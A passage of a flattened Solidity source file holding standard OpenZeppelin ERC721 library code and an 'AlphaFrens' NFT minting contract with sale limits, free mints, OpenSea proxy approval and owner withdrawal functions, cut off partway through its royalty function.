// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/interfaces/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)
pragma solidity ^0.8.0;
// File: @openzeppelin/contracts/interfaces/IERC2981.sol
// OpenZeppelin Contracts v4.4.1 (interfaces/IERC2981.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the NFT Royalty Standard
*/
interface IERC2981 is IERC165 {
/**
* @dev Called with the sale price to determine how much royalty is owed and to whom.
* @param tokenId - the NFT asset queried for royalty information
* @param salePrice - the sale price of the NFT asset specified by `tokenId`
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for `salePrice`
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
returns (address receiver, uint256 royaltyAmount);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: coven/vapes.sol
//SPDX-License-Identifier: MIT
//Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721)
pragma solidity ^0.8.0;
contract AlphaFrens is ERC721, IERC2981, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private tokenCounter;
string private baseURI = "ipfs://QmR6pPs5QkHR3ZE6XWyURV7RxfqqFTmL6cAgt5p7kKjAc7";
address private openSeaProxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
bool private isOpenSeaProxyActive = true;
uint256 public constant MAX_MINTS_PER_TX = 10;
uint256 public constant MAX_MINTS_PER_WALLET = 50;
uint256 public maxSupply = 1014;
uint256 public constant PUBLIC_SALE_PRICE = 0.04 ether;
uint256 public NUM_FREE_MINTS = 114;
bool public isPublicSaleActive = true;
// ============ ACCESS CONTROL/SANITY MODIFIERS ============
modifier publicSaleActive() {
require(isPublicSaleActive, "Public sale is not open");
_;
}
modifier maxMintsPerTX(uint256 numberOfTokens) {
require(
numberOfTokens <= MAX_MINTS_PER_TX,
"Max mints per transaction exceeded"
);
_;
}
modifier maxMintsPerWallet(){
require(
balanceOf(msg.sender) <= MAX_MINTS_PER_WALLET,
"Max mints per wallet exceeded"
);
_;
}
modifier canMintNFTs(uint256 numberOfTokens) {
require(
tokenCounter.current() + numberOfTokens <=
maxSupply,
"Not enough mints remaining to mint"
);
_;
}
modifier isCorrectPayment(uint256 price, uint256 numberOfTokens) {
if(tokenCounter.current()>NUM_FREE_MINTS){
require(
(price * numberOfTokens) == msg.value,
"Incorrect ETH value sent"
);
}
_;
}
constructor(
) ERC721("AlphaFrens", "AlphaFrens") {
}
// ============ PUBLIC FUNCTIONS FOR MINTING ============
function mint(uint256 numberOfTokens)
external
payable
nonReentrant
isCorrectPayment(PUBLIC_SALE_PRICE, numberOfTokens)
publicSaleActive
canMintNFTs(numberOfTokens)
maxMintsPerTX(numberOfTokens)
maxMintsPerWallet()
{
//require(numberOfTokens <= MAX_MINTS_PER_TX);
//if(tokenCounter.current()>NUM_FREE_MINTS){
// require((PUBLIC_SALE_PRICE * numberOfTokens) <= msg.value);
//}
for (uint256 i = 0; i < numberOfTokens; i++) {
_safeMint(msg.sender, nextTokenId());
}
}
// ============ PUBLIC READ-ONLY FUNCTIONS ============
function getBaseURI() external view returns (string memory) {
return baseURI;
}
function getLastTokenId() external view returns (uint256) {
return tokenCounter.current();
}
function totalSupply() external view returns (uint256) {
return tokenCounter.current();
}
// ============ OWNER-ONLY ADMIN FUNCTIONS ============
function setBaseURI(string memory _baseURI) external onlyOwner {
baseURI = _baseURI;
}
// function to disable gasless listings for security in case
// opensea ever shuts down or is compromised
function setIsOpenSeaProxyActive(bool _isOpenSeaProxyActive)
external
onlyOwner
{
isOpenSeaProxyActive = _isOpenSeaProxyActive;
}
function setIsPublicSaleActive(bool _isPublicSaleActive)
external
onlyOwner
{
isPublicSaleActive = _isPublicSaleActive;
}
function setNumFreeMints(uint256 _numfreemints)
external
onlyOwner
{
NUM_FREE_MINTS = _numfreemints;
}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function withdrawTokens(IERC20 token) public onlyOwner {
uint256 balance = token.balanceOf(address(this));
token.transfer(msg.sender, balance);
}
// ============ SUPPORTING FUNCTIONS ============
function nextTokenId() private returns (uint256) {
tokenCounter.increment();
return tokenCounter.current();
}
// ============ FUNCTION OVERRIDES ============
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721, IERC165)
returns (bool)
{
return
interfaceId == type(IERC2981).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev Override isApprovedForAll to allowlist user's OpenSea proxy accounts to enable gas-less listings.
*/
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
// Get a reference to OpenSea's proxy registry contract by instantiating
// the contract using the already existing address.
ProxyRegistry proxyRegistry = ProxyRegistry(
openSeaProxyRegistryAddress
);
if (
isOpenSeaProxyActive &&
address(proxyRegistry.proxies(owner)) == operator
) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(_exists(tokenId), "Nonexistent token");
return
string(abi.encodePacked(baseURI, "/", tokenId.toString(), ".json"));
}
/**
* @dev See {IERC165-royaltyInfo}.
*/
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
require(_exists(tokenId), "Nonexistent token");
